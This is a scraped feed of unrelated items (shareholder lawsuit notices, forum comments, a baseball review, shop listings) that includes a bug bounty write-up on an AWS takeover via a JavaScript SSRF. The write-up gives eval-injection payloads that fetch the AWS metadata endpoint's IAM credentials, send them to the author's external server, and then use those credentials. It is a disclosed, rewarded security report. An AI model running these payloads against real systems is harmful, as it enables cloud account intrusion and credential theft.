For more information on this press release visit: http://www.sbwire.com/press-releases/nysechgg-shareholder-notice-lawsuit-alleges-securities-laws-violations-by-chegg-inc-1060828.htm

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          NASDAQ:TRUP Shareholder Notice: Investigation over Possible Securities Laws Violations by Trupanion, Inc      Cache   Translate Page      

An investigation for investors in Trupanion, Inc. (NASDAQ: TRUP) shares over potential securities laws violations by Trupanion, Inc. was announced.

San Diego, CA -- (SBWIRE) -- 10/09/2018 -- An investigation was announced for investors of Trupanion, Inc. (NASDAQ: TRUP) shares over potential securities laws violations by Trupanion, Inc. and certain of its directors and officers.

Investors who purchased shares of Trupanion, Inc. (NASDAQ: TRUP), have certain options and should contact the Shareholders Foundation at mail@shareholdersfoundation.com or call +1(858) 779 - 1554.

The investigation by a law firm focuses on whether a series of statements by Trupanion, Inc. regarding its business, its prospects and its operations were materially false and misleading at the time they were made.

Seattle, WA based Trupanion, Inc., together with its subsidiaries, provides medical insurance for cats and dogs on monthly subscription basis in the United States, Canada, and Puerto Rico. On September 26, 2018, Capitol Forum reported that Trupanion is under investigation by the New York Department of Financial Services.Shares of Trupanion, Inc. (NASDAQ: TRUP) declined to as low as $31.18 per share on September 26, 2018.

On October 8, 2018, NASDAQ: TRUP shares closed at $30.20 per share.

Those who purchased shares of Trupanion, Inc. (NASDAQ: TRUP) have certain options and should contact the Shareholders Foundation.

Contact:
Shareholders Foundation, Inc.
Michael Daniels
3111 Camino Del Rio North - Suite 423
92108 San Diego
Phone: +1-(858)-779-1554
Fax: +1-(858)-605-5739
mail@shareholdersfoundation.com

The Shareholders Foundation, Inc. is a professional portfolio monitoring and settlement claim filing service, , which does research related to shareholder issues and informs investors of securities class actions, settlements, judgments, and other legal related news to the stock/financial market. Shareholders Foundation, Inc. is in contact with a large number of shareholders and offers help, support, and assistance for every shareholder. The Shareholders Foundation, Inc. is not a law firm. Referenced cases, investigation, and/or settlements are not filed/reached and/or related to Shareholders Foundation. The information is provided as a public service. It is not intended as legal advice and should not be relied upon.

For more information on this press release visit: http://www.sbwire.com/press-releases/nasdaqtrup-shareholder-notice-investigation-over-possible-securities-laws-violations-by-trupanion-inc-1060825.htm

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          NASDAQ:HAS Shareholder Notice: Lawsuit Alleges Misleading Statements by Hasbro, Inc      Cache   Translate Page      

A lawsuit was filed on behalf of investors in Hasbro, Inc. (NASDAQ: HAS) shares over alleged securities laws violations.

San Diego, CA -- (SBWIRE) -- 10/09/2018 -- An investor, who purchased shares of Hasbro, Inc. (NASDAQ: HAS), filed a lawsuit over alleged violations of Federal Securities Laws by Hasbro, Inc. in connection with certain allegedly false and misleading statements.

Investors in shares of Hasbro, Inc. (NASDAQ: HAS) should contact the Shareholders Foundation at mail@shareholdersfoundation.com or call +1(858) 779 - 1554.

Pawtucket, RI based Hasbro, Inc., together with its subsidiaries, operates as a play and entertainment company. On October 23, 2017, Hasbro, Inc. announced its third quarter 2017 financial results for the period ended October 1, 2017. Hasbro, Inc. reported that the United States and Canada were negatively impacted by the Toys "R" Us bankruptcy. This contributed to a 5% decline in the U.S. and Canada segment quarterly operating profit to $217.3 million, or 21.9% of net revenues, compared to $228 million, or 24.4% of net revenues in 2016. Hasbro's CEO stated that, "[a]s a result of the Toys "R" Us bankruptcy filing in the U.S. and Canada, there was a negative impact on our quarterly revenues and operating profit." And the Company's CFO warned that the challenges in the U.K. and Brazil were anticipated to continue for the remainder of the year and sales would be up only 4% to 7% from a year ago in the fourth quarter.

According to the complaint the plaintiff alleges on behalf of purchasers of Hasbro, Inc. (NASDAQ: HAS) common shares between April 24, 2017 and October 23, 2017, that the defendants violated Federal Securities Laws. More specifically, the plaintiff claims that between April 24, 2017 and October 23, 2017, the defendants knew or recklessly disregarded that Hasbro's relationship with Toys "R" Us was becoming increasingly important to Hasbro's business, as Toys "R" Us was the primary retail brick-and-mortar toy store in the United States, and that Toys "R" Us was in far worse financial condition than was being publicly reported and it would have to dramatically scale back its operations or file for bankruptcy and liquidate, that Hasbro was experiencing significant undisclosed adverse sales issues in two key markets – the United Kingdom and Brazil – which were negatively impacting the Company's efforts to grow sales in those markets, and that as a result of this information being withheld from the market, the price of Hasbro common stock was artificially between April 24, 2017 and October 23, 2017 to over $115 per share and Hasbro insiders were able to sell $147 million worth of their personally held Hasbro stock to the public at inflated prices.

Those who purchased shares of Hasbro, Inc. (NASDAQ: HAS) have certain options and should contact the Shareholders Foundation.

Contact:
Shareholders Foundation, Inc.
Michael Daniels
3111 Camino Del Rio North - Suite 423
92108 San Diego
Phone: +1-(858)-779-1554
Fax: +1-(858)-605-5739
mail@shareholdersfoundation.com

The Shareholders Foundation, Inc. is a professional portfolio monitoring and settlement claim filing service, , which does research related to shareholder issues and informs investors of securities class actions, settlements, judgments, and other legal related news to the stock/financial market. Shareholders Foundation, Inc. is in contact with a large number of shareholders and offers help, support, and assistance for every shareholder. The Shareholders Foundation, Inc. is not a law firm. Referenced cases, investigation, and/or settlements are not filed/reached and/or related to Shareholders Foundation. The information is provided as a public service. It is not intended as legal advice and should not be relied upon.

For more information on this press release visit: http://www.sbwire.com/press-releases/nasdaqhas-shareholder-notice-lawsuit-alleges-misleading-statements-by-hasbro-inc-1060826.htm

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          Comment on Homeless woman found dead in downtown Berkeley tent on Thursday by counterthought      Cache   Translate Page      
Our rage is against the city, state, and liberal/progressive policies that let the 1% besiege our streets, parks and neighborhoods. These poor souls need help, and giving them free housing will only draw more transient homeless to our city. According to Berkeley's own studies, they are largely mentally ill and addicted; and they need far more than free housing on the backs of the homeowner, that is over taxed as it is. Sadly the city has underfunded its pension plan and has no money to solve this problem another way. So... either you enforce the anti camping laws or let them fester on our streets. The city and the progressives see letting them fester on our streets as the most "compassionate" solution when there are no others to chose from. Meanwhile we residents have to let the 1% ruin our towns with raw sewage, open opioid and meth use and crime. This can change. ... just vote for real solutions and not feel good progressive poppycock that manipulates your emotions. NOPE on O&P
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I don't typically get involved on this forum anymore but this raised an issue for me.  Although Dr. M offers good recommendations above, the average Joe & Jane typically won't do anything.   Great article and very informative but as long as life is comfortable to the average person, why be concerned?  Even friends that are told about this and express concern, promptly forget after returning to their daily activities and life goes on.  The question is how do we reach the masses and communicate this threat that would motivate people enough to not just take notice, but a step further to genuine action?  I wish I had an answer.  Furthermore, I'm afraid that as long as our government continues to be bought off they remain apathetic and won't care.   It's unfortunate but it's human nature that until we are personally and directly affected by the CAFO farming, things continue on as "normal."  I sincerely hope that enough people who have the ability to reach those who make laws and decisions will find a way to at least get the ball rolling.   I know that I, for one, would gladly jump on board if they needed lay people to help.  Though I hold my breath, I hope for the best.  There must be a way.


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          AWS takeover through SSRF in JavaScript      Cache   Translate Page      

Here is the story of a bug I found in a private bug bounty program on Hackerone. It toke me exactly 12h30 -no break- to find it, exploit and report. I was able to dump the AWS credentials, this lead me to fully compromise the account of the company: 20 buckets and 80 EC2 instances (Amazon Elastic Compute Cloud) in my hands. Besides the fact that it’s one of my best bug in my hunter career, I also learnt alot during this sprint, so let’s share!

Intro

As I said, the program is private so the company, let’s call it: ArticMonkey.
For the purpose of their activity -and their web application- ArticMonkey has developed a custom macro language, let’s call it: Banan++. I don’t know what language was initially used for the creation of Banan++ but from the webapp you can get a JavaScript version, let’s dig in!

The original banan++.js file was minified, but still huge, 2.1M compressed, 2.5M beautified, 56441 lines and 2546981 characters, enjoy. No need to say that I didn’t read the whole sh… By searching some keywords very specific to Banan++, I located the first function in line 3348. About 135 functions were available at that time. This was my playground.

Spot the issue

I started to read the code by the top but most of the functions were about date manipulation or mathematical operations, nothing really insteresting or dangerous. After a while, I finally found one called Union() that looked promising, below the code:

helper.prototype.Union = function() {
   for (var _len22 = arguments.length, args = Array(_len22), _key22 = 0; _key22 < _len22; _key22++) args[_key22] = arguments[_key22];
   var value = args.shift(),
    symbol = args.shift(),
    results = args.filter(function(arg) {
     try {
      return eval(value + symbol + arg)
     } catch (e) {
      return !1
     }
    });
   return !!results.length
  }

Did you notice that? Did you notice that kinky eval()? Looks sooooooooooo interesting! I copied the code on a local HTML file in order to perform more tests.

Basically the function can take from 0 to infinite arguments but start to be useful at 3. The eval() is used to compare the first argument to the third one with the help of the second, then the fourth is tested, the fifth etc… Normal usage should be something like Union(1,'<',3); and the returned value true if at least one of these tests is true or false.
However there is absolutely no sanitization performed or test regarding the type and the value of the arguments. With the help of my favourite debugger -alert()- I understood that an exploit could be triggered in many different ways:

Union( 'alert()//', '2', '3' );
Union( '1', '2;alert();', '3' );
Union( '1', '2', '3;alert()' );
...

Find an injection point

Ok so I had a vulnerable function, which is always good, but what I needed was a input to inject some malicious code. I remembered that I already seen some POST parameters using Banan++ functions so I performed a quick search in my Burp Suite history. Got it:

POST /REDACTED HTTP/1.1
Host: api.REDACTED.com
Connection: close
Content-Length: 232
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3502.0 Safari/537.36 autochrome/red
Content-Type: application/json;charset=UTF-8
Referer: https://app.REDACTED.com/REDACTED
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: auth=REDACTED

{...REDACTED...,"operation":"( Year( CurrentDate() ) > 2017 )"}

Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 54
Connection: close
X-Content-Type-Options: nosniff
X-Xss-Protection: 1
Strict-Transport-Security: max-age=15768000; includeSubDomains
...REDACTED...

[{"name":"REDACTED",...REDACTED...}]

The parameter operation seems to be a good option. Time for testing!

Perform the injection

Since I didn’t know anything about Banan++, I had to perform some tests in order to find out what kind of code I could inject or not. Sort of manual fuzzing.

{...REDACTED...,"operation":"'\"><"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":null}
[]
{...REDACTED...,"operation":"0"}
[]
{...REDACTED...,"operation":"1"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"a"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"a=1"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert()"}
{"status":400,"message":"Function 'alert' is not defined"}
{...REDACTED...,"operation":"Union()"}
[]

What I conclued here was:

  • I cannot inject whatever JavaScript I want
  • I can inject Banan++ functions
  • the response seems to act like a true/false flag depending if the interpretation of parameter operation is true or false (which was very useful because it helped to validate the code I injected)

Let’s continue with Union():

{...REDACTED...,"operation":"Union(1,2,3)"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union(a,b,c)"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a','b','c')"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a';'b';'c')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'2';'3')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'<';'3')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'>';'3')"}
[]]

Perfect! If 1 < 3 then the response contains valid datas (true), but if 1 > 3 then the response is empty (false). Parameters must be separated by a semi colon. I could now try a real attack.

fetch is the new XMLHttpRequest

Because the request is an ajax call to the api that only returns JSON datas, it’s obviously not a client side injection. I also knew from a previous report that ArticMonkey tends to use alot JavaScript server side.

But it doesn’t matter, I had to try everything, maybe I could trigger an error that would reveal informations about the system the JavaScript runs on. Since my local testing, I knew exactly how to inject my malicious code. I tried basic XSS payloads and malformed JavaScript but all I got was the error previously mentionned.

I then tried to fire an HTTP request.

Through ajax call first:

x = new XMLHttpRequest;
x.open( 'GET','https://poc.myserver.com' );
x.send();

But didn’t receive anything. I tried HTML injection:

i = document.createElement( 'img' );
i.src = '<img src="https://poc.myserver.com/xxx.png">';
document.body.appendChild( i );

But didn’t receive anything! More tries:

document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">';
document.body.innerHTML += '<iframe src="https://poc.myserver.com">';

But didn’t receive anything!!!

Sometimes you know, you have to test stupid things by yourself to understand how stupid it was… Obviously it was a mistake to try to render HTML code, but hey! I’m just a hacker… Back to the ajax request, I stay stuck there for a while. It toke me quite a long time to figure out how to make it work.

I finally remembered that ArticMonkey uses ReactJS on their frontend, I would later learnt that they use NodeJS server side. Anyway, I checked on Google how to perform an ajax request with it and found the solution in the official documention which lead me to the fetch() function which is the new standard to perform ajax call, that was the key.

I injected the following:

fetch('https://poc.myserver.com')

And immediately got a new line in my Apache log.

Being able to ping my server is a thing but it’s a blind SSRF, I had no response echoed back. I had the idea to chain two requests where the second would send the result of the first one. Something like:

x1 = new XMLHttpRequest;
x1.open( 'GET','https://...', false );
x1.send();
r = x1.responseText;

x2 = new XMLHttpRequest;
x2.open( 'GET','https://poc.myserver.com/?r='+r, false );
x2.send();

Again it toke me while to get the correct syntax with fetch(). Thanks StackOverflow.

I ended with the following code which works pretty well:

fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

Of course, Origin policy applies.

SSRF for the win

I firstly tried to read local files:

fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

But the response (r parameter) in my Apache log file was empty.

Since I found some S3 buckets related to ArticMonkey (articmonkey-xxx), I thought that this company might also use AWS servers for their webapp (which was also confirmed by the header in some responses x-cache: Hit from cloudfront). I quickly jump on the list of the most common SSRF URL for Cloud Instances.

And got a nice hit when I tried to access the metadatas of the instance. aws takeover through ssrf in javascript

Final payload:

{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}

Decoded output is the directory listing returned:

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
...

Since I didn’t know anything about AWS metadatas, because it was my first time in da place. I toke time to explore the directories and all files at my disposition. As you will read everywhere, the most insteresting one is http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>. Which returned:

{
  "Code":"Success",
  "Type":"AWS-HMAC",
  "AccessKeyId":"...REDACTED...",
  "SecretAccessKey":"...REDACTED...",
  "Token":"...REDACTED...",
  "Expiration":"2018-09-06T19:24:38Z",
  "LastUpdated":"2018-09-06T19:09:38Z"
}

Exploit the credentials

At that time, I though that the game was ended. But for my PoC I wanted to show the criticity of this leak, I wanted something really strong! I tried to use those credentials to impersonate the company. You have to know that they are temporary credentials, only valid for a short period, 5mn more or less. Anyway, 5mn is supposed to be enough to update my own credentials to those ones, 2 copy/paste, I think I can handle that… err…

I asked for help on Twitter from SSRF and AWS master. Thank guys, I truely appreciate your commitment, but I finally found the solution in the UserGuide of AWS Identity and Access Management. My mistake, except to not read the documentation (…), was to only use AccessKeyId and SecretAccessKey, this doesn’t work, the token must also be exported. Kiddies…

$ export AWS_ACCESS_KEY_ID=AKIAI44...
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
$ export AWS_SESSION_TOKEN=AQoDYXdzEJr...

Checking my idendity with the following command proved that I was not myself anymore.

aws sts get-caller-identity

And then…
aws takeover through ssrf in javascript

Left: listing of the EC2 instances configured by ArticMonkey. Probably a big part -or the whole- of their system.

Right: the company owns 20 buckets, containing highly sensitive datas from customers, static files for the web application, and according to the name of the buckets, probably logs/backups of their server.

Impact: lethal.

Timeline

06/09/2018 12h00 - beginning of the hunt
07/09/2018 00h30 - report
07/09/2018 19h30 - fix and reward

Thanks to ArticMonkey for being so fast to fix and reward, and agreed this article :)

Conclusion

I learnt alot because of this bug:

  • ReactJS, fetch(), AWS metadatas.
  • RTFM! The official documentation is always a great source of (useful) informations.
  • At each step new problems appeared. I had to search everywhere, try many different things, I had to push my limits to not give up.
  • I now know that I can fully compromise a system by myself starting from 0, which is a great personal achievement and statisfaction :)

When someone tells you that you’ll never be able to do something, don’t waste your time to bargain with these peoples, simply prove them they’re wong by doing it.


          ALDS Review: Astros Annilhilation      Cache   Translate Page      

Another baseball season draws to a close in Cleveland, not with a bang but a whimper.

Just like last year, the Indians exit the postseason at the first stage, this time swept out of the American League Division Series by the reigning champion Houston Astros. It was upsetting to see the Tribe play just a single playoff game at home, and even more frustrating to watch them throw the game away (literally).

There will be a great deal of questions asked of this team after such a disappointing conclusion to the season. Was the Indians lackluster divisional race a cause for their uninspiring performance? The 103-win Astros were pushed all the way in their race for the AL West by Oakland, keeping them sharp as they entered October. The Indians on the other hand coasted to their divisional title, perhaps dulling their ability to rise to the playoff atmosphere that Houston thrived upon.

In the Indians' defense, they were up against a team stacked head-to-toe with quality, with no visible weaknesses in any department. The Astros pitching was particularly dominant, and entered the postseason ranked first in team ERA (3.11), starters ERA (3.16), bullpen ERA (3.03) and strikeouts (1,687) for the entire league. Their dominance showed through in each game, severely limiting the Tribe hitters.

It's no wonder the Indians batted a pitiful .144 (13-for-90) for 6 total runs in the entire series.

Two of those runs came directly from the bat of Francisco Lindor, as the star shortstop hit two solo homers. In fact, Lindor was the only player to perform well at the plate for Cleveland, batting .364 in 11 at-bats, scoring 3 runs, basically accounting for 50% of the offensive output. The 24 year-old face of the franchise never let his head drop.


On the other hand you have Jose Ramirez, Cleveland's most dangerous hitter during the regular season, reduced to a shell of his usual self against Houston. In 11 at-bats, Ramirez couldn't record a single hit and dating back to last season, Ramirez is 2-for-31 in postseason play.

He wasn't alone in his struggles. The Tribe's other big bats like Edwin Encarnacion (1-for-10), Josh Donaldson (1-for-11) and Yonder Alonso (0-for-6) also underperformed. Even the consistent Michael Brantley was limited to just 2 hits in 10 at-bats, in what could well be his final games in an Indians uniform.

The lineup will take the brunt of the criticism for this postseason letdown, as they rightly should. You don't need a degree to know that scoring runs will win you games and sadly the Tribe hitters just couldn't get it done against an admittedly superior Astros team.

However, the Indians' pitching staff must take their share of the responsibility as well, as they were far from perfect.

Something was off right from the start of the series, when Corey Kluber took a beating in Houston to open game one. The ace of the staff never looked like his normal self and gave up three home runs in his 4.2 innings of work. He continued to leave the ball up in the zone and the Astros hitters punished him accordingly.

Thankfully Carlos Carrasco and Mike Clevinger, the starters for games two and three, were very effective. Carrasco lasted 5.1 innings, giving up 6 hits for 2 earned runs and kept the Tribe in the game. Clevinger was superb in his start, showing just how far he's progressed in 2018. Sunshine pitched 5 innings with 9 strikeouts, allowing just 3 hits and 1 earned run.

The biggest problem, as was so often the case this season, was when Carrasco and Clevinger handed the game over to the bullpen.

Cody Allen and Brad Hand were the two individuals who really suffered and were taken apart by the vaunted Astros lineup. Allen made two appearances, pitching a third of an inning in game one and two thirds of an inning in game three, and was diabolical, giving up 4 hits for 6 earned runs, two of them homers (one in each game). Considering this series was likely Allen's last time in a Cleveland uniform, it's a very somber and disappointing way for him to bow out.

Hand, considered the bullpen saviour in the season's final months, was also hit hard. He pitched an inning in game two and two thirds of an inning in the game three nightmare. The left-hander was stung for 3 hits and 2 earned runs altogether, including the three-run bomb by Carlos Correa that sent Tribe fans heading for the exits in game three.


Perhaps the performance that hurt Tribe fans the most came from Trevor Bauer. For so long this year a Cy Young-worthy starter with untouchable stuff, Bauer was reduced to pieces over the course of three relief appearances. Bauer walked out of the bullpen in each game and logged 4 innings in total, but gave up 7 hits and 3 earned runs. He saved the worst until last.

In the seventh inning with a narrow 2-1 lead, Bauer made an errant pickoff attempt that allowed Houston's Tony Kemp to reach second, and he later scored on a Jose Altuve grounder to tie the game at 2-2. Alex Bregman proceeded to chop a pitch back to the mound, where Bauer attempted to start the inning-ending double play, but his throw to Lindor at second base was wild, pulling the shortstop away from the bag, resulting in Bauer's second error of the inning and no outs on the play. The bases were then loaded to keep a double play opportunity alive but a 95-mph fastball way above the zone was pounced on by Marwin Gonzalez for a double that plated two more runners. It put the Astros ahead 4-2, and the game beyond the Indians' reach. A 6-run eighth inning meltdown by the rest of the bullpen put the final nail in the Tribe's 2018 coffin.

Where do the Indians go now? One thing for certain is some significant roster turnover in the near future, as a number of key players become free agents this month. I will be paying close attention this winter to the club's activity but for the next few weeks, I'll enjoy the rest of the playoffs, sad in the thought of what might have been.

Thanks for reading this season.
          Amid #MeToo, New York Employers Face Strict New Sexual Harassment Laws      Cache   Translate Page      
In response to the transformation of views on sexual harassment, New York state and New York City passed laws requiring training of all workers. Now, business owners are scrambling to comply.
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Today's Transgender news so far. Take a listen.
          Microsoft updates its Windows Insider Feedback Hub in the wake of botched update      Cache   Translate Page      
Feedback HubThe update to the Feedback Hub that comes with an updated version of the Windows 10 October 2018 Update release is taking the impact of bugs or flaws into account.
          Comment on Google Staff about SCOTUS Justice Kavanaugh: ‘F—. YOU. ALL. TO. HELL.’ by iamlucky13      Cache   Translate Page      
@ Anita Moore, O.P. (lay) <i>"I don’t agree that Google reflects the thinking of the nation as a whole."</i> What I mean by my statement is not that Google has a singular position that represents the majority view of the US. I mean that Google employees come from the full range of views represented by the US population as a whole. There's a lot of people angry about this situation across the US. Similarly, we should expect there to be a lot of people angry about the situation at Google. <i>"Secondly, I think you give the ululating opposition too much credit for nobility of motive. "</i> Perhaps, but I don't actually give them much credit for nobility. I plan for there to be many outright dishonest people in both parties, but I also default to presuming that the intentionally dishonest are the minority (even if often the ringleaders), and in most cases, what looks like malice is more likely ignorance and unrecognized bias. Thus, I expect a person with a strong left-leaning political inclination to be more likely to conclude the accusations against Justice Kavanaugh are true, and act according to that conclusion, which would and should be with anger. Unfortunately, that happens on both sides. As an example, last week, I heard multiple conservative coworkers discussing the topic and jointly conclude, "Ford doesn't matter anyways. Kavanaugh is past the statute of limitations." That is to say, two of my fellow conservatives had decided (a) they really don’t have a problem with sexual deviancy and (b) ideology trumped the good and the legitimate interests of flesh-and-blood human beings. That the laws of men provided an out even if it could be shown that the accusations are true was enough for them.
          Dog Groomer - Paws & Claws - Timmins - Timmins, ON      Cache   Translate Page      
Minimum of 2 years of grooming experience, preferably in a customer focused, pet food and supplies environment.... $40,000 - $60,000 a year
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          White Gold Ring, 14K Palladium White Gold 4x1mm Half Round Ring, Recycled Gold Wedding Band, Rutledge Jewelers by RutledgeJewelers      Cache   Translate Page      

235.00 USD

White Gold Ring, 14K Palladium White Gold 4x1mm Half Round Ring, Recycled Gold Wedding Band, Rutledge Jewelers

•Solid 14K Palladium White Gold from Recycled/Reclaimed sources
•Band measures 4mm wide by 1mm thick approximately
•Smooth texture with a matte or polished finish
•Inside engraved “14K”
•Hand Forged Ring made in the USA by David Rutledge
•Half Round style

This ring is engravable. To add engraving, please use the following link:
https://www.etsy.com/listing/233487244/custom-engraving-on-ring-engraving-only

This ring includes a complimentary karat stamp and an Appraisal Certificate for your records.

All metals used to hand forge our rings come from RECYCLED /RECLAIMED sources. Our rings are handmade in our workshop in an Eco-Friendly environment using mostly hand tools such as a hammer and torch.

We are able to make many of our rings in 14K Yellow Gold, 14K Rose Gold, 14K Palladium White Gold, 14K Green Gold, 18K Yellow Gold, 18K Rose Gold, 18K Palladium White Gold, and rings 3mm or wider in 22K Rose or 22K Yellow Gold. Pricing varies. Contact us for a quote.

Please note that our white gold rings are made using solid Palladium White Gold. We do not plate any of our white gold rings with Rhodium as Palladium White Gold does not need it. Instead, we use Palladium White Gold, which is gold alloyed with Palladium. The color is different then Nickel White Gold, Pure Palladium, Platinum, and Rhodium Plated White Gold. If you are trying to match another ring, please contact us and we can help provide guidance to get you a correct match.

Palladium White Gold contains no Nickel is therefore safe for those with a NICKEL ALLERGY.

We strongly suggest getting sized by a professional jeweler when ordering a ring. They will be able to provide a more exact size to get you a better fit. We are able to convert International sizes to US.

Feel free to use the “contact shop owner” link below if you have any other questions, or you may visit our shop policies. We would be happy to provide a quote for you if you would like something made in a different type/karat of gold, wider/thicker/more narrow dimensions, or if you would like a set of rings.

Each ring is made to order and will arrive in a classy ring box. Please allow approximately 3 weeks from order to ship date.

We can often accommodate a rush order, or use upgraded shipping to get something to you sooner. Please contact us to confirm if you are on a timeline.

If we will be shipping to an address outside of the US, there could be an import duty or tax charged on your purchase. Please note that this is determined by your country’s laws and as we do not assess the tax, are therefore not responsible financially if this occurs.

Please note that all photos are enlarged to show detail. Please be sure to read all sizes and descriptions carefully.

To visit or go back to Rutledge Jewelers shop home, use this link:
http://www.etsy.com/shop/rutledgejewelers

We look forward to working with you!
David and Kristin


          Rutledge's latest meddling: New York gun laws      Cache   Translate Page      
Attorney General Leslie Rutledge, with not enough to do in Arkansas (has her ethics effort produced anything yet?), has joined other Republican legal officers in yet another lawsuit intervention out of state — this time to challenge a New York state gun law.

It seems New York requires a permit to own a handgun at home and limits its use outside the home except to take to shooting ranges. New York does offer a "carry" permit for pistol packing, but Rutledge says it's hard to get. Plus, guns permitted for premises use can't be taken out of state.

Rutledge, a Federalist except when it comes to state laws she doesn't like, wants the Supreme Court to review this law and say it goes too far in the interest of public safety. She says the law infringes on interstate commerce by keeping gun owners from patronizing out-of-state gun ranges.
          Cyber Tests Showed 'Nearly All' New Pentagon Weapons Vulnerable To Attack, GAO Says      Cache   Translate Page      
Passwords that took seconds to guess, or were never changed from their factory settings. Cyber vulnerabilities that were known, but never fixed. Those are two common problems plaguing some of the Department of Defense's newest weapons systems, according to the Government Accountability Office. The flaws are highlighted in a new GAO report , which found the Pentagon is "just beginning to grapple" with the scale of vulnerabilities in its weapons systems. Drawing data from cybersecurity tests conducted on Department of Defense weapons systems from 2012 to 2017, the report says that by using "relatively simple tools and techniques, testers were able to take control of systems and largely operate undetected" because of basic security vulnerabilities. The GAO says the problems were widespread: "DOD testers routinely found mission critical cyber vulnerabilities in nearly all weapon systems that were under development." When weapons program officials were asked about the weaknesses, the GAO
          Operations Technician - Enbridge - Pampa, TX      Cache   Translate Page      
Performs all job functions within the Safety and Environmental policies of Enbridge (US) and Governmental laws and orders....
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          Be prepared against data breaches      Cache   Translate Page      

Here’s what you need to know about the new laws that require notification regarding patient data breaches, by Stephanie McGrath Earlier this year, Australia enacted laws ...

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          October Sneak Day 1!       Cache   Translate Page      
Happy Monday! Today is Day 1 of Jaded Blossom's October Stamp Release!

We have our Gotta Have it Now Package for $135.99


October 2018 Release will include:

6 - 4 x 6 Stamp Sets
1 - 3x4 Stamp Set
- New Dies
1 - 3x4 Freebie Stamp

freebie is for orders $40 or more (before tax and shipping),
Friday 4pm PST through Sunday 11:59 pm PST

NO PREORDERS! NO BACKORDERS!
No waiting WEEKS for your stamps. 
This Package is only available till Wednesday 11:59pm pst, then will be back up on the store on Friday at 4pm pst during our Stamp Release Blog Hop!

Regular price for the release package is $145.99

Today we are revealing A New Die and 2 Stamp Sets!

HANDLED GIFT BOX DIE - $39.99




HOPPY HOLIDAYS - $15.99 

Here is some inspiration from our guest designer and design team members.

Jamie
also using Label Shape Dies, Border Dies, Christmas Dies

Mel
also using Candy Wrap Dies, Christmas Candies Revamp, Tropical Dies

Gigi
also using Christmas Banner Dies, Bow Dies


Candace O.
also using Stitched Circle DiesMini Tag Dies 3, Christmas Dies

Lee-Ann

Nicole
also using Luggage Tag DiesMini Tag Dies 3

Stacey
also using Bow Dies, Christmas Banner Dies

Cindy
also using Flag Dies, Flag Dies 2

Thanks so much for checking out today's reveals! Make sure to come back tomorrow for more!
~Candace and Michelle

          Arcane rush potion - Hard enamel pin by DoizeDemos      Cache   Translate Page      

9.00 USD

This pink and purple potion is a wizard's best friend. Drink this for some haste when you're in a tough bind.
This arcane rush enamel pin is part of the "Potions for an Adventurer" enamel pin series and one of 3 designs for the arcane master set.

This listing is for 1 hard enamel pin.
- Size: 35 mm at longest side. (Approx. 1.4 inches)
- Polished rose gold finish
- 2 clasps
- Designed and illustrated by doize.
- Embossed backstamp with shop name.
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PIN GRADING/QUALITY
The production of hard enamel pins involves many steps, including the application of each hard enamel color by hand. Due to this production process, varying quality levels can exist within each batch of enamel pins. In order to ensure that you are receiving a product that you are happy with, I personally inspect each enamel pin and separate them based on a grading scale that is detailed below. This will allow you to determine which price & quality combination works best for you. Unless otherwise noted, all etsy product photos display Grade A quality pins.
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GRADE A - Near Perfect -
These pins are near perfect and the highest grade pin I offer. They may have the tiniest of flaws upon close inspection like small scratches or miniscule bubbles in the enamel. These flaws are only noticeable upon extremely close inspection or when the light hits the enamel pin at a certain angle.

GRADE B - Good Quality -
These are very good quality pins still, they only 1 or 2 minor imperfections. These minor imperfections are not noticeable by most individuals and do not detract from the overall appearance of the pin. Due to these minor flaws, B grade pins are offered at a slight discount. Imperfections may include:
- Small discolorations of the enamel
- Discolorations of the metal
- Dings or scratches in the enamel or metal
- Small areas filled with the wrong enamel color (in detailed pins)
- Areas underfilled with enamel in areas that are not major
- Very tiny spaces not filled with enamel (applies to very detailed designs)


          Comment on Exorcist II: The Heretic – Blu-ray Review by Malcolm R      Cache   Translate Page      
<blockquote><div>Reggie W</div>I recall that the way people put it at the time Halloween 3 came out was "You don't make a Jaws movie with no shark!"</blockquote>The problem was, if they wanted to have a "Halloween" franchise with different stories, they should have started with <i>Halloween II</i>. By having the second film as a continuation of the first, they set the pattern, so audiences expected another continuation with Part III. If they'd used the story for "Season of the Witch" as <i>Halloween II</i>, it might have worked.<br /> <br /> They're sort of doing this now with the core of the <i>Conjuring</i> series (excluding the spinoffs). Each film is following a different "case" of the Warrens, with the Warrens themselves as the only real link between the films.
          Kombi operators hike fares… Warn of another increase… Move draws condemnation from commuters      Cache   Translate Page      
Esinathy Sibanda/Andile Tshuma, Chronicle Reporters COMMUTER omnibus operators in Bulawayo have increased fares by 50 percent and warned of another hike should the ongoing price madness gripping the country continue unabated. The kombi fares shot from 50 cents to 75 cents for a single trip, drawing condemnation from commuters who feel the hike is unjustified […]
